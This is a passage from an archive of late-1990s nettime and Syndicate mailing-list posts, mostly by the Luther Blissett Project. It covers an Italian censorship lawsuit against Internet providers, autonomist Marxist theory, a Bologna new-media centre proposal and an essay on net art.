sexuophobic/homophobic/obscurantist\neuro-paranoia about pedophilia, ritual abuse and kiddy porn on the\nInternet. The first chapter of 'Lasciate che i bimbi', which is far from\nhaving a slanderous content,  tells the whole story from the arrest to the\nacquittal, exposing the ways Musti took advantage of her position in order\nto manipulate the public opinion and persecute innocent people. After\nhaving ruinously lost the trial, she even wanted to avoid the consequences\non her reputation!\n\n\n2. The Assault On Internet Service Providers\n\nMusti's 'Atto di Citazione' [certificate of action at law] is a violent\nassault on the Internet providers whose servers hosted the electronic text\nof the book. The target is the Internet, its \"difference\", the features\nthat make it uncomparable to the traditional media, i.e. the horizontality\nwhich has granted freedom of speech for those who have no access to the old\nmedia and the trans-nationality which has made a lot of wanna-be censors\nsleepless.\nThe Italian legislation on the Internet is full of blanks, this is the\nstate's chance to fill them, set a dangerous precedent and force providers\nand netizens to self-censorship. If Musti wins the trial, the Italian Net\nlandscape will be impoverished if not ravaged, with serious repercussions\nall over Europe and the world.\nHere's some translated excerpts from the abovementioned Atto di Citazione,\ndated February 11th, 1998:\n\n'[In Italy] the responsibility of providers for torts committed via the\ntelematic nets is currently the subject of a lively debate. Two fronts\noppose each other: one considers providers equal to publishers, thus\nresponsible [for the contents], the other considers them equal to\nbooksellers and newsvendors, thus non-responsible.\nWe think that  the 11th article of the law on the press - which is about\nthe common responsibility of the publisher, the owner of the publication\nand the author - is extensible (at least by analogy) to [Internet] service\nproviders. Although the mentioned law is enforced for \"all typographical\nreproduction, obtained by any mechanical or physio-chemical means, anyhow\naimed at publication\", we must remember that, despite the wonderful terms\ncurrently used to describe the information highways, the material which is\nput on the Internet is not destined to stay in a virtual world of\nimmaterial communication, indeed, it can be easily fixed on such material\nsupports as computer hard disks or diskettes, as well as reproducible by\nsuch mechanical means as printers.'\n\n'However, the responsibility of providers can also be demonstrated\naccording to the article 2050 of the Civil Code [which is about\nresponsibility for dangerous activities]. In fact, this rule is enforced\nnot only for the activities regarded as dangerous according to the law on\nPublic Security and other special laws, but also to all the activities\nwhich, to the opinion of the competent judge, can intrinsicly be harmful,\neven if they are as much licit as useful for society.'\n\n'In the case the competent justice decides there are no premises for the\nenforcement of  the article 2050, we can take into consideration the\narticle 2051 [which is about damages caused by things kept in custody],\nbecause it is undeniable that A) [providers] have a direct, concrete power\non the sites running on their servers, B) [the sued providers] were aware\nthat the contents of Blissett's text were prejudicial to other people's\nreputation, and could have easily removed them from the sites [...]'\n\n\n3. We Need International Solidarity\n\nThis struggle has an immediate political value, every Italian provider has\nto take part in the general mobilization. Besides setting limits to freedom\nof speech, this precedent will extend their legal liability.\nThe Net is an organism that can defend herself. Her immunity systems are\nelectronic civil disobedience, the netizens' quick reflexes and the almost\ninstinctive solidarity that doesn't leave abuses unpunished. Musti has made\na big mistake taking offence at the Italian Web. We have suggested anyone\nwho runs a site or a server to create pages dedicated to this crackdown, by\nmirroring (or re-designing)  'Lasciate che i bimbi', and loading the text\nyou are reading. International solidarity is indispensable. We've just\nstarted to get media coverage and organise events, while other people are\nputting the incriminated book on their sites. We' ll constantly update the\nlist and sent it to all the concerned netizens, along with all the material\nwe'll be able to translate into English.\nWe also call on every enemy of obscurantism, repression and censorship to\ntake the field and make a protest against this crackdown, by sending e-mail\nto Italian newspapers.\n\nLuther Blissett Project, Bologna, last week of March 1998\n\n-------------------------------------------------------------------------\n'Lasciate che i bimbi' is already available at:\n<http://www.ecn.org/deviazioni/libreria/>\n<http://www.2mila8.com/luther/Lasciate.html>\n<http://members.tripod.com/~fabbro/Luther.htm>\n<http://www.arpnet.it/~umanisti/bimbi.html>\n<http://www.geocities.com/capitolhill/7424>\nAdd your site to this list!\nAn English translation of the book's introduction is at:\n<http://www.geocities.com/Area51/Rampart/6812/ramp.html>\nThe complete files on the Italian crackdown (Italian language) are at:\n<http://www.2mila8.com/Attacco.html>\n<http://www.sexonline.cybercore.com/crackdown/>\nLuther Blissett Project - Detailed info, no frills:\n<http://www.ecn.org/deviazioni/blissett>\n---------------------------------------------------------------------------\n\nThe Italian media:\n\nlarepubblica {AT} repubblica.it, bologna {AT} repubblica.it,\nrepubblicawww {AT} repubblica.it,redazione {AT} ilmanifesto.mir.it,\nlettere {AT} lastampa.it, ilmondo {AT} rcs.it, ildirettore {AT} ilfoglio.it,\nmediamente {AT} rai.it, target {AT} mediaset.it, giornale {AT} starlink.it,\nluca.debiase {AT} mondadori.it, unione {AT} vol.it, mobydick {AT} rti.it,\ngris {AT} bo.nettuno.it\n\n\n\n\n\n\n-----End of forwarded message-----\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n\n",
                "date": "Thu, 26 Mar 1998 15:16:56 +0100 (MET)",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199803261512.QAA12715 {AT} basis.Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9803/msg00108.html",
                "list": "nettime_l",
                "author_name": "Luther Blissett",
                "subject": "<nettime> Italian netizens are in danger"
            },
            {
                "content-type": "text/plai",
                "from": "blissett {AT} backspace.org (Luther Blissett)",
                "id": "00006",
                "content": "\nDear Barbrook,\n\nGlad to see that this debate is proving useful. However, I strongly disagree\nwith your opinion that these issues cannot be interesting for the net-time\nsubscribers, indeed, the stuff  about Stalin and defunct ideologies\ncertainly isn't (and it wasn't me who put it there in the first place), but\nsome references to the perception and re-elaboration of Marx's Grundrisse in\nItaly are VERY important in order to understand how so-called _net-culture_\ndeveloped there, and then grasp  the very relationship between Negri and\nDeleuze, which appears to be puzzling you. Nowadays, no account of this\nhistory can seriously count Bordiga out, because he was THE prime mover and\nshaker.\n\nThat's why, in order to answer your (private) questions about Negri, it is\nnecessary to (publicly) explain why you're underestimating Bordiga. There\nare more things in his writings and personal history than you could imagine.\nYour third-hand sources must be extremely clumsy, while my first-hand ones\nare very good. Unfortunately (for me) I'm a \"doctor\" myself, I made a degree\nin History of Technological Innovation, and - guess what - Bordiga was the\nsubject of my thesis, whose title was 'Technology And Environment In Amadeo\nBordiga's Post-War Writings'.\n\nIn plainer words: while I was writing the  essay on Bordiga I got access to\na lot of old books and long-forgotten issues of 'Bordiguist' newspapers. It\nwas an unbelievably interesting experience. For instance, I discovered close\nlinks between Bordiga and Negri (Negri would never admit this), being the\nformer a forerunner of those post-Grundrisse studies that have changed\nforever the elaboration and praxis of Italian 1960's \"operaismo\" (the\nantechamber of 1970's Autonomia). So would you please stop conforming to\nstereotype, I mean, displaying the typical arrogance of the academic? Me, I\nwould never play the wiseacre writing about the UK. I know it isn't that\nimportant, but I can't help saying it: the bordiguists were marginalised\nwithin the PC at the Congress of Lyon (1926 - not 1927!), but they (and\nBordiga himself) weren't expelled from the party (that is, from the\nKomintern) until 1930. \n\nAnd now... back to the serious issues.\n\nAll my books and archives are in Italy, so I can't be 100% precise in my\nquotations, but it isn't difficult to describe the theoretical (as well as\npersonal) relationship between Negri and D&G. I inform you that Negri and\nDeleuze interviewed each other in the late Eighties (the conversation, as\nfar as I remember,  was published on Negri's magazine 'Futur Anterieur' in\n1988 or 1989). In the early eighties Negri and Guattari even co-authored an\nessay titled \"Les nouveaux espaces de liberte'\" (which I read in Italian as\n'Le verita' nomadi' - \"Nomadic Truths\"). Sorry, I don't remember the French\npublisher.\n\nAs you know, Negri deems the Grundrisse as the centrepoint of Marx's work.\nTo Negri, Marx's notes on the labour process and alienation in machinery and\nscience, as well as the distinction between 'formal' and 'real' capital\ndomination, is nothing less than *the touchstone of everything*. Like his\nmaster Raniero Panzieri (the founder of 'Quaderni Rossi', the most radical\nrevolutionary magazine of the sixties - even more important than the frankly\nover-rated 'Internationale Situationniste'), Negri lays the stress on the\nsubversive potential of collective living labour (which Marx describes as\n\"social mind\" and \"general intellect\")  rather than on the alienation of\nlabour in machinery. \n\nAccording to some mainstream, narrow-minded interpreters of the Grundrisse,\nthe  \"general intellect\" has simply to do with dead/ objectified labour,\nwhich is expropriated from the workers and incorporated into the machinery.\nAccording to the Italian post-operaista school, \"general intellect\" is what\nthe workers' *living* labour has become since  the hegemony of relative\nsurplus-value (i.e. the increasing automation) has provoked the collapse  of\nany dialectical theory of labour-value and radically mutated the old fordist\nclass-composition (with its obsolete distinction between white and blue\ncollars). Nowadays General Intellect/Living Labour is not only physical\nwork-force; it implies technical skills, mastering of complex language codes\netc.  \n\nDuring the seventies, unlike his contemporary Camatte, Negri didn't\nliquidate the proletariat. Rather, he described the new antagonist\nsubjectivities bent on raising hell all along the 'social factory', and\ngathered them under the umbrella-term 'operaio sociale'. Ed Emery\nludicrously translates 'operaio sociale' as 'social worker' (!) while it\nmeans, more or less, 'diffused worker' [social factory = decentralised\nfactory]. The operaio sociale was the personification of the living part of\ngeneral intellect, the synthesis of a mixed-up class composition which\nincluded the younger generations of industrial workers (who, unlike their\nfathers and mothers, were absolutely uncontrollable by the unions, real\nforeign bodies to the traditional mediations of industrial conflict) as well\nas 'proletarianised' students, former white collars, unemployed (nay,\nunemployable) graduates, etc. \n\nAs the micro-electronic revolution definitively destroyed taylorism-fordism,\nthe definition \"operaio sociale\" started being replaced with \"mass\nintellectuality\" (or \"diffused intellectuality\"), which means all those\nsubjectivities whose work-performance is constructed upon a subordinate,\ncompulsory output of 'creativity' (in Grundrisse-speak: upon a further\nvalorisation of the living elements of the general intellect). For example,\nthe 'collaborative' workers of toyotist/post-fordist factories, computer\nprogrammers, media low-level workers, etc. The post-fordist labour process\nis increasingly based on workers' 'collaboration' and 'self-activation',\ne.g. the Japanese model. According to Negri and other commentators, the\nexistence of a potentially revolutionary  network of such newer operai\nsociali is a prerequisite of communism in itself. These people are in the\nkey points of the social factory (telecommunications, spectacle, transports,\nservices, education), their insubordination would have shocking\nrepercussions on the capitalist command structure. The workers are already\nmanaging 'immaterial production', their work doesn't depend on the bosses\nanymore, they could even get rid of the whole command structure (and of the\nunions as well). Workers' autonomy is not an aim anymore: it's a\nprecondition - see what happened in France in 1995.\n\nSo what is living labour nowadays? According to Negri, it includes\n\"artificial languages, complex articulations of information and science of\nsystems, new epistemological paradygms, immaterial determinations,\ncommunicative machines\". That's why Negri is interested in D&G. works (and\ngenerally in post-structuralism and philosophy of language) - and vice\nversa. Negri's description of today's living labour has much to do with D&G.\nallegories, \"the subconscious is not a theatre: it is a factory\",\n\"deterritorialisation\", \"rhyzomes\" and all that. Negri thinks that 'Mille\nPlateaux' is the most important philosophical work of the century. There's\nan obvious affinity between the concept of workers' autonomy in the\npost-fordist labour process and the allegory of \"nomadic war machines\". \n\nDeleuze & Guattari had the same opinion, that's why they described\nthemselves as 'marxists' - I suppose they meant to say Negri's peculiar\nanti-hegelian no-more-dialectical marxism (curiously enough, many years\nafter Bordiga had stated that marxists should bury the stinking corpse of\nHegel). Negri wrote two books on Spinoza (\"L'anomalia selvaggia\" and\n\"Spinoza sovversivo\"), trying to demonstrate that the replacement of Hegel\nwith Spinoza was as important for revolution  as the replacement of The\nCapital with the Grundrisse). One may agree or not with these declarations,\nwhat I'm saying is that there's no detectable incongruity between Negri's\nposition and D&G. works. \n\nIf i may append my personal position: I find Negri very interesting (albeit\nfrequently disputable), that's precisely why I've got sick of all those\nanti-communist deleuzo-guattarians. They've missed the point. The difference\nbetween your point of view and mine (apart from my being a communist) is\nthat you don't think such a point ever existed - heret's what is making you\nunable to describe the Italian situation. For instance, the fact that\nGuattari didn't find it necessary to be shot or beaten to bloody pulp by the\npolice in the streets of Bologna does NOT mean, as you wrongly assumed, that\nhe'd had no influence on Radio Alice. Even after the bloodbath, Guattari\nkept doing all he could to get the comrades released from jail, gave\nhospitality to many exiles (including Bifo and Negri himself) and put his\nreputation on the line to defend the Italian movement from further\nrepression. He failed, but at least he had tried. You may not agree with his\ntheories and despise his lingo, but respect is due.\n\nI hope this is of some interest to someone (especially the German\na.f.r.i.k.a. group, whose members once asked me something about these\nthings) and apologize for my English - it's very difficult to explain these\nthings in a language which is not Italian. By the way, I find the English\ntranslations of Negri's books ugly and unreadable, but I admit I couldn't\never do better than that.\n\n\n\nLuther Blissett\n\n\nP.S. Did you think I was just a media prankster?   >;-))))))\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "date": "Tue, 02 Dec 1997 00:48:53 +0100",
                "to": "nettime-l {AT} Desk.nl, richard {AT} hrc.westminster.ac.uk (Richard Barbrook)",
                "message-id": "1.5.4.32.19971201234853.0068cd4c {AT} admin.backspace.or",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9712/msg00006.html",
                "list": "nettime_l",
                "author_name": "Luther Blissett",
                "subject": "<nettime> Negri, Bordiga, the general intellect and the nomadic war machines"
            },
            {
                "content-type": "text/plai",
                "from": "blissett {AT} backspace.org (Luther Blissett)",
                "id": "00009",
                "content": "\nI've just found out that Negri & Guattari's book was published in English by\nAutonomedia with the crappiest title I've ever seen: \"Communists Like Us\".\nMy gosh! Anyway, the book may be useful for Richard's next re-mixes of TPOHF.\n\nA footnote to my previous net-time posting, which was still a little bit\nobscure:\n\nAccording to 'autonomist' marxism, every technological 'advancement' is also\na response to proletarian insurgence or, at worst, resistance, and so is the\nfollowing cultural/anthropological transformation.\nCapital can't do anything by itself: it is a vampire that needs fresh blood,\nit has to exploit and/or recuperate the society's energies.\n\nThe latest waves of technological innovation were the historical result of\nthe ongoing friction between workers' struggles (firstly fordist\nmass-workers, lately post-fordist 'diffused' workers and intellectual\nproletarians) & capitalist development.  Living labour was increasingly\nobjectified and turned into fixed capital, but the part which 'stayed alive'\ngot potentially uncontrollable, until the traditional dialectics of social\nconflict fell apart. \n\nOne of the reasons why the factories began to accelerate their\ndecentralisation/automatisation in the seventies was because the work-force\nhad become either openly riotous or subtly 'defeatist', unreliable. There's\na huge amount of oral history about the undetectable tactics mass workers\nused to sabotage the assembly line in order to slow down production and take\nsome rest. From the managers' point of view, that was what a modern\noperaista would call \"a waste of general intellect\". Such \"proletarian\nknowledge\" might be recuperated into production. That's what Toyotism is\nabout: the workers are exhorted to make a 'collaborative' use of their\nfirst-hand knowledge of the machinery. Instead of using errors and  flaws to\nsabotage production, they are requested to find solutions, and are rewarded\nwith a rise in their salary. It is called \"Total Quality\".\n\nSince the accumulation of relative surplus-value has changed the whole\nsociety (and not only the workplace), we've got a new version of the \"social\nfactory\", that is the \"information society\", and obviously a\n\"net-production\". This newest sub-mode of production is increasingly\ngenerating new, subtler tactics of grassroots sabotage, as well as new ways\nof repressing/defusing/recuperating them (even videogame-exterminating\nsoftware hunting games on the employees' computers and automatically\ndeleting them so that the bastards won't waste time), but this time it's\nhappening on a higher, non-dialectical level.\n\n\nsaluther. \n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "date": "Tue, 02 Dec 1997 21:31:41 +0100",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "1.5.4.32.19971202203141.006ae2f0 {AT} admin.backspace.or",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9712/msg00009.html",
                "list": "nettime_l",
                "author_name": "Luther Blissett",
                "subject": "<nettime> Negri & Guattari"
            },
            {
                "content-type": "text/plai",
                "from": "Luther Blissett Project <pasquine@dsc.unibo.it>",
                "id": "00101",
                "content": "dear frieds,\nbelow you find a fast abstract of the new media lab project [beta-version!] that the Luther Blissett Project in Italy has developed in the last two months. It's the first italian project in the field of new media and net culture, with a critical approach, I mean.\n\nThere is no kind of new media-oriented centre in Italy. No content provider/developer in net culture. Ours would be the first one, small but connected to the european scene. We are working to eliminate this gap and to introduce italian artists and activists into what we call [from Italy] the \"north\" european network. We have got an european fund of 10.000 euros and we hope to open in October in Bologna.\n\n[If someone needs details, I can describe the sad italian situation in the field of new media and net culture from institutions to underground.]\n\nThis is a call for partecipations and contributions for the [few] syndicalists based in Italy and not. Comments and suggestions from the northern :) Europe are welcome.\n\nworksite, only in italian:   http://utenti.tripod.it/net_i\n\nciao,\n matteo\n Luther Blissett Project\n Bologna - Italy\n\n\n\n______net.INSTITUTE Project______________\n___________________by Luther Blissett____\n\n     open architecture project___urban interface\n     public netbase___new media centre\n     Bologna___Italy\n\n                     _\n               __   (_)\n        ______/ /  __\n       /_  __  /  / /\n        / /_/ /__/ /__\n       / ____________/\n      /_/\n\nDas Institut               http://utenti.tripod.it/net_i\nF\u00fcr Netzkultur             net_i@iname.com\n            \\                    |\n             net.INSTITUTE project\n             |                    \\\nUrban interface                   Luther Blissett\nBologna, Venice, Milan...         open/architecture pop star\n\n #i\n\nItaly shows a wide technological, cultural, political gap in the field of\nnew media culture: there is no kind of new media project or event alike the\nones existing in \"northern\" Europe. The Luther Blissett Project designed\nthis experimental net-based centre in order to introduce in Italy, starting\nfrom the city of Bologna, the european net culture, in an easy, fast and\npop way. In brief, it is an inexpensive all-in-one new media centre :).\n\n #i\n\nThe net.INSTITUTE, as its name suggests, is an hybrid between the net of\nthe metropolis and the information architecture of the internet, between\nthe social, urban, architectural spaces and the media-scape. The\nnet.INSTITUTE is a conceptual architecture work ejected into the real\nworld. It considers the city the field of action of the net: it is an urban\ninterface of the net and of net culture.\n\n #i\n\nThe Luther Blissett Project has put in this project its media activism\nexperience and networking attitude. The Luther Blissett Project is a\ncollective of media activists that organized in the last years, in Italy as\nwell as in Europe, mediatic hoaxes and counterinformation campaigns, in the\nname of Luther Blissett. Luther Blissett is a multiple name: whoever can\nuse it in the most creative and freest way. LB is a networked mass avatar\non the media stage, piloted from the net: an open architecture pop star.\nThe net.INSTITUTE is its urban and architectural implementation.\n\n #i\n\n\"We shape our tools, and thereafter they shape us\" [Marshall McLuhan]. \n\nThe net.INSTITUTE is a trans-architecture project. It's not a city metaphor for\nanother alienated virtual community but an urban project to embody the\nstructure and the content of the net, as a net and by means of it. It\ndoesn't imitate the appearance of the medium but its deep framework.\n\n #i\n\n\"Metropolis is the becoming-cyberspace of the urban territory\" [Franco\nBerardi aka Bifo].\n\nThe concept of urban interface is the opposite of that of\ndigital communities and cities. The urban interface breaks with the\ncultural dominance of discourses about cyberspace, virtual, simulation. The\nnet.INSTITUTE is a physical, social, mediatic space controlled and\nconstructed by the net.\n\n #i\n\nThe name and the concept of the 'Institute' were chosen to give up the hype\nabout virtual and cyberspace, and as a strategy of retro-avantgardism [see\nNeue Slovenische Kunst, Electronic Embassy, Laibach, Luther Blissett\nitself]. It is also a joke, and a reflection about the institutionalization\nof the subcultural movements.\n\n #i\n\nThe net.INSTITUTE is a project for \"hacking\" the architectural and\nurbanistic code, not only an info-communication one. Hacking means\ndeconstructing a tool to understand the way it works and to rebuild it in a\npersonal, creative way. In terms of computer science, the net.INSTITUTE is\nthe urban \"implementation\" of the net.\n\n #i\n\nThe Net.INSTITUTE web interface works as groupware, a space for collective\nbrainstorming, a field for the connective/collective intelligence. It\nstructures itself, in progress, to be a \"technology of intelligence\"\n[Pierre Levy]. The Net.INSTITUTE's framework, functions, links, spaces can\nbe redefined by users experimenting hybrid, creative, surrealistic\narchitectures, by making up other \"institutes\". The net.INSTITUTE, inspired\nby situationists' psycogeography and urbanism, uses the city as a map for\nthe network and the latter as a map for the city. The interface works as a\nconceptual map that has to be subsequently developed in the real space. The\nScheme is the Medium.\n\n #i\n\nThe net.INSTITUTE is a multiple building. Its name means NETWORKED\nINSTITUTE. Everyone can integrate net.INSTITUTE architecture with public or\npersonal spaces, bodies, events, devices, theories, computers, photos,\nfiles, imgs, projects. The image and the structure produced on the net,\nthereafter, shape the urban space. The net.INSTITUTE is a sort of political\nrole-game: the city is not considered as an established identity but as a\ncollective interface continuously reshaped by its users. The net.INSTITUTE\nuses the net to catalyze social life.\n\n #i\n\nA proof of the outcome of the net.INSTITUTE within the urban texture is\nDas Institut [a german name in an italian-speaking context!], a low-tech\nminimal retro-avantgardistic sub-project, a youth sub-cultural interface devoted\nto urban space exploration and \"mass engineering\", events organisation,\n'old-style' media art activism, parties, psychogeographical investigations\nand drifts.\n\n #i\n\nThe net.INSTITUTE is a medium-building.\n\n #i\n\nthanks to:\n The Society for Old and New Media, Amsterdam, http://www.waag.org/\n Public Netbase t0, Vienna, http://www.t0.or.at/\n\n #i\n___    \n                 _\n           __   (_)\n    ______/ /  __\n   /_  __  /  / /  \n    / /_/ /__/ /__\n   / ____________/\n  /_/\n  \n  DAS INSTITUT             http://utenti.tripod.it/net_i\n  F\u00dcR NETZKULTUR           net_i@iname.com\n           \\                    |\n            net.INSTITUTE project\n            |                    \\\n  urban interface             LUTHER BLISSETT\n  Bologna, Venice, Milan...   open/architecture pop star\n\nSUBSCRIBE #i-info list! \nmailto:net_i@iname.com?subject=[#i] subscribe\n___\n------Syndicate mailinglist--------------------\n Syndicate network for media culture and media art\n information and archive: http://www.v2.nl/syndicate\n to unsubscribe, write to <syndicate-request@aec.at>\n in the body of the msg: unsubscribe your@email.adress\n\n\n",
                "date": "Fri, 16 Jul 1999 11:24:19 +0200 (MET DST)",
                "to": "syndicate@aec.at",
                "message-id": "199907160924.LAA0000000111@kaiser.alma.unibo.it",
                "url": "https://nettime.org/Lists-Archives/syndicate-9907/msg00101.html",
                "list": "syndicate",
                "author_name": "Luther Blissett Project",
                "subject": "yndicate: [net.INSTITUTE.it] Call for partecipations and contributions"
            }
        ],
        "desc": "..."
    },
    "net.art": {
        "lists": [
            {
                "content-type": "text/plai",
                "from": "calin {AT} euronet.nl (Calin Dan)",
                "id": "00003",
                "content": "\nart in the nettimes. some mess-media common places. statement for a flat\ninteractivity\n\n\"Net-art\", a default concept that could be seen coming on the floor since\nthe advent of www, is an indicator for some other, more resistant topics.\n\n1. {The ghetto of appropriation.} In a simplified overview, the art of the\nlast 2 decades spanned from (video-; to video installation-; to computer-;\nto CD ROM-; to internet-) ART. Whatever new media tool gets public is not\nonly immediately assimilated as procedure and path for artistic activities\nbut becomes protocol and compulsory label for the (state of the) art\ndiscourses and the aural events connected to them.\nThis restlessness can be speculated upon as representing either an increase\nof integration dynamic, or a symptom of content neurosis. Anyway, it gives\na sense of isolation that became retrospectively quite obvious. After the\neuphoria of the schism between (old- and new-) media arts, a long process\nof failed integration is consistent with the history of the art events in\nthe last decades. The slow convergence between institutions, initiatives\nand artists coming from both sides of the imagined fall are not\ncompensating for a crisis which is so simple that it can hide under that\nlittle absurd sentence: there is *new* art and there is *old* art. Isn't\nit?\n\n2. {The seek for legitimacy.} a) From the part of the new media themselves,\nin a >natural< translation of the technological experiment towards\nconsumerism. (In that case we approach new media as immanent entities with\na logic of their own; or, more likely, as corporate initiatives highly\ncontrolled in the process of development/dissemination.)\nb) From that segment of the art generators/moderators\n(artists/curators/theoreticians) looking for a promotional niche where\nrules have not been imposed (yet).\nc) From the art system itself, in a period when all systems (politics,\neconomy, communication, social security, job policies, capital,\nenvironment, family, name it) are confronted with the issue of image\nimprovement.\nd) From those entrepreneurs who still believe that business is helped by a\nwell moderated art commitment.\n\n3. {Revitalization through compromise.} The mechanism of historical change,\nlabeled until recently as progress, is assimilating the innovations through\ncompromise, fact which annoys the innovative spirits. For that reason maybe\nevery new item in the stream of modern escalation has, beyond inventors\n(initiators) and developers, its own prophets: for keeping pure the flame\nof the new.\nUnfortunately, as soon as the *new* becomes public property it is used\nprecisely in order to revitalize the *old*, and not necessarily in order to\ndisplace it. A compromise which can bring change if it is negotiated\nproperly. Or bring just some more frustrated prophets pointing at another\nfailure of the pure in front of the rich.\nThis is, I guess, the level on which we can contemplate >net art< at this\nmoment.\n\n4. {Social currency and moral token.} From those who are not satisfied by\nthe assimilation of commodities or by the criticism of commodification, a\nnew type of activism was born, not to be found before the raise of media as\na template of art production.\nMixing media criticism, social skepticism, technological skill and\naesthetic will, this activism is structured on the image of its favorite\ntool - the computer - whose interfaces and connectivity are replicated in a\nmixture of speed, presence, designed language and behavior, in a\nconvergence of entertaining and calculation, in programmed discontinuity,\nand in a pragmatic perception of the modern mythologies. An activism\nconsistent with the idea of aesthetic coherence, which brings back the\ndecadent image of the >dandy<, so well married with the >data<, as we know.\n(Bilwet)\n\n5. *Net is not art.* What could be dangerous in this mixture is precisely\nthe way it addresses both issues of art and social responsibility. When a\ntactical (media) activist says that *net is art*, my memory jumps back to a\nprevious experience we had in the 70s' and 80s' communist Europe.\n>Resistance through art< was then a slogan legitimating a special position\n>of artists who were truly believing that isolation into a specific medium\n>was vouching for political dissidence. The complementary trend was to\n>force the acceptance of active cultural dissidents as artistic authorities\n>(in the \"inner\" circles of the art world). The two situations are\n>interchangeable in the sense that they both consider political engagement\n>and artistic status as bonuses.\nWhen everything has political implications and/or artistic value, the\ninitial sense of both commitments becomes diluted and therefore vulnerable\nto manipulations.\nI am not trying here to level a historical experience that many\ncannot check upon with developments just occurring under our eyes. But the\nrecent past has to be used because it offers ready made commonplaces to\ncontemplate and avoid, if necessary. Or not.\n\nDenying publicly the art >system< in favor of media activism is trendy and\nit confirms the fascination that art keeps radiating in those times of\nmess-media. Otherwise, why make public issues (therefore conceptual\nobjects) from decisions which belong to the private (\"I am no more an\nartist/curator, etc.\"), if not for teasing (via negative\nself-advertisement) the curiosity of a field which seems to have lost any?\n\n6. {Looped rejection.} There is an interesting compression of meanings in\nthe attitudes of those who reject the art >system<, respectively the art\n(\"art is dead\"), and those - quite many - who claim \"artistry\" for other\ndomains, extraneous to the art as sensed historically.\na) Art and art system become one entity, with interchangeable weaknesses.\nPerceiving art's future only within the prospective of its promotional\ninfrastructure is an abuse which speaks about the failure of art to\nredesign its public beyond consumerism and the failure of consumerism to\nsocialize art beyond commercial integration.\nb) The identification between domain and system opens the door for confused\nattitudes of reclamation in the key \"art is (design/media/media design)\",\nwhich prove for the effective contamination of the general mentalities - so\nfar that consumerism is denied from a consumerist point of view. Which\ncould be interesting if not just hypocrite.\n\nThe reason for this loop rejection-lust stays in the schizophrenic relation\nthat society at large (still) seems to have with money. Although belonging\nto a system, art is somehow a gratuitous activity, a noble trade, with no\napparent relation to currency. By claiming artistry, other domains try to\nachieve qualities that art itself is denied lately: responsibility,\ndisinterest, social efficiency. The profit should be there also, for the\ncomplete satisfaction, but coming somehow spontaneously, as a reward for\nthe understanding of what art really means, and for >extending< its\nborders.\n\n7. {Loss of legitimacy.} >Net art< speaks (again) for the expectations\nrisen by the new tools in an era when technology plays the role of\nideology. And of the weakness of ideologies themselves in fulfilling one of\nthe most basic needs - legitimacy.\nAfter religion, art seemed to loose its quality to legitimate human\nactivities beyond the range of the aesthetic. But still, like religion\nitself, art became an instrument for organizing the dynamic of closed\ncommunities who stay as referential for more extended (and therefore more\ndiscrete) games of power.\n>Art is dead< and >net is art< are two symmetric attitudes whose polemic\n>values have to be appreciated \"cum grano salis\". But the development of\n>internet is not a fresh issue, and basically new media are not necessarily\n>new. Therefore maybe the euphoric statements, the holistic visions and the\n>pessimistic evaluations are corners that could be cut more drastically on\n>the base of historic experience, for getting into more matter-of-factly\n>estimates of the usefulness and dangers confronting the art in the\n>nettimes.\n\n8. {The parenthesis of the >new<.} There is a danger shadowing all topics\nstarting with the domain name *new*: If there is any hope for the new media\narts to get long term confirmation, it might come precisely from the fact\nthat new media themselves deal with old issues. The trouble is that since\nnovelty is something that keeps the momentum, there must be something wrong\nwith getting old. At least that is the rule of social contract at the\nmoment.\nIn the mean time, an increasing eagerness to seek for legitimacy in the\nhistory of media, or even further in the history of culture and religions\nis an operation which might help defining some areas of reflection for the\nnewest art - the net one.\n\ni. #From video out.# Compared to recent experiences, net art is less\ninstrumental in displaying big amounts of data and less able to sustain\nvisual environments beyond the user-to-screen relation.\n(Comment: Video art launched the costly adventure of v.-installation\nprecisely - among other reasons - because the user-to-screen paradigm\nseemed to be not enough competitive in the mess-media ambient.)\nIt has potentially higher rates of distribution, on the horizontal vectors\nof the web. It also involves a higher risk of dissipation, due to the\nspecificity of the same medium.\n(Comment: video art aimed to enter the vertical hierarchy of museums, and\nsucceeded; only to realize how meager an audience they bring, despite the\nacquisition of status symbol. Remain the video festivals and distribution\ninitiatives, something of the dimension of a large news group.)\nThe capacity of the machines is paramount in displaying the information,\nand the lack of consistency in their systems, power etc. make the net an\nunpredictable medium, from the hosting server on.\nii. #Learning to be old.# Net art might be a domain assuming as a program\nsome techniques of nomadism. Random appearances, tactical disappearance,\nlow resolution, ubiquity, distrust of historic values (posterity,\nstability, economic growth), data pessimism (bury the information, save\nyour discourse for a rainy day), strategies of destruction (symbolic\nviruses), etc.\nQuestion: If the >web< is a floating graveyard, what is the format of the\nfuneral monuments? ASCII? QTVR?\niii. #Fighting the mess-media.# Net art might put at work the frugal side\nof net tools for countering the excesses of today's visual environment.\nTherefore, to be non-visual (or with a diminished visual emphasize), remote\n(limited audience), private (relying on personal narratives, local\nimperatives, communal mythologies).\n(Comment: The bad news come when we remember the modest impact of\nconceptual art, community TV etc.)\nMainstream media shouldn't be competed on a lesser ground. The problem with\nart (*any* art) is that it has no proper means to define a ground out of\nreach for the mainstream media. The position of media arts (*any*, net art\nincluded, I'm sorry) is worsened in that sense by the vicious shareware\nsituation (same tools, different goals).\nQuestion: How many >surfers< and how many readers are using the www\ninterfaces? This in the prospective of a content based net art.\niiii. #Net quality.# Being able to replace the zapping of the 80s with\nsomething different than the >surfing< of the 90s; maybe with a\nreinstallation of the minimal intensity of contemplation which in 